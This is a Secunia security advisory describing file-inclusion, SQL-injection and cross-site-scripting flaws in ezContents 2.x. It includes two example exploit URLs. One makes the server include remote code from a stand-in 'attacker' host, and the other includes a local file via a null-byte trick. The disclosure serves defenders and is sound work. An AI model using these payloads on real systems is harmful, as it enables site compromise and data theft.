Secunia Logo
Netsikker nu! 2008
 
ezContents Multiple Vulnerabilities
Secunia Advisory: SA21703
Release Date: 2006-08-31
Last Update: 2008-05-13
Popularity: 6,884 views

Critical:
Highly critical
Impact: Cross Site Scripting
Manipulation of data
System access
Where: From remote
Solution Status: Unpatched

Software:ezContents 2.x

Subscribe: Instant alerts on relevant vulnerabilities

CVE reference:CVE-2006-4477
CVE-2006-4478
CVE-2006-4479
CVE-2008-2135


Description:
Some vulnerabilities have been discovered in ezContents, which can be exploited by malicious people to conduct cross-site scripting and SQL injection attacks or to compromise a vulnerable system.

1) An error within the "moduleExternalLink()" function in modules/moduleSec.php allows to include arbitrary files from local resources, or from external resources by e.g. using the "ftps" protocol. Note that the "isExternalLink()" function in include/functions.php and the "adminExternalLink()" function in admin/adminbutton.php suffer from the same error.

Example:
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://attacker/file.php
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=/tmp/file.php%00

2) Input passed to the "groupname" parameter in headeruserdata.php, to the "contentname" parameter in showdetails.php, and to the "article" parameter in printer.php is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

3) Input passed to the "subgroupname" parameter in loginreg2.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of a vulnerable site.

The vulnerabilities are confirmed in version 2.0.3. Other versions may also be affected.

Solution:
Edit the source code to ensure that input is properly verified.

Provided and/or discovered by:
1, 3) DarkFig
2) DarkFig, Virangar Security Team

Changelog:
2006-09-04: Added CVE references.
2008-05-08: Updated vulnerability #2 with information about the "contentname" and "article" parameters provided by Virangar Security Team.
2008-05-13: Added CVE reference.

Original Advisory:
2) http://milw0rm.com/exploits/5559


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. ArticleBeach Script "page" File Inclusion Vulnerability // 73 views
2. phpBB Avatar Functions Information Disclosure and Deletion // 39 views
3. Zeroboard Multiple Vulnerabilities // 38 views
4. Apple Mac OS X Security Update Fixes Multiple Vulnerabilities // 36 views
5. CA ARCserve Backup Multiple Vulnerabilities // 35 views
6. Zeroboard Two Vulnerabilities // 33 views
7. Zeroboard Multiple Script Insertion Vulnerabilities // 33 views
8. Sun Java System Web Proxy Server FTP Subsystem Buffer Overflow // 33 views
9. ScriptsEz Easy Image Downloader "id" File Disclosure Vulnerability // 29 views
10. Zeroboard ".htaccess" File Upload Vulnerability // 28 views